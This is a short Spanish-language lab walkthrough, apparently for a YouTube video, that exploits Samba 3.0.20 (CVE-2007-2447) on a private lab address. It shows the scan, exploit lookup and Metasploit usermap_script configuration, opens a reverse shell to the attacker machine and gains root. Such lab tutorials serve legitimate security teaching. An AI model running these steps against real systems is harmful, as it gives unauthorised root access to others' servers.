🎬 Este vídeo de YouTube

1️⃣ Escaneo del objetivo (Nmap)

nmap -sS -sV -p 139,445 192.168.56.102

Resultado esperado: 139/tcp open netbios-ssn Samba smbd 3.X 445/tcp open microsoft-ds Samba smbd 3.0.20-Debian

👉 Versión de Samba: 3.0.20 Es vulnerable a CVE-2007-2447.

2️⃣ Detección del exploit de Samba

searchsploit samba 3.0.20

Resultado:

Samba 3.0.20 - 'Username' map script Command Execution

3️⃣ Iniciar Metasploit

msfconsole

4️⃣ Seleccionar el exploit de Samba

use exploit/multi/samba/usermap_script

5️⃣ Configuración del exploit

set RHOSTS 192.168.56.102
set RPORT 139
set LHOST 192.168.56.101

El payload será automático:

cmd/unix/reverse

Comprobación:

show options

6️⃣ Ejecutar el exploit

run

o

exploit

7️⃣ Resultado 🎉

Si tiene éxito:

Command shell session opened

Comprobamos:

whoami

👉 Resultado:

root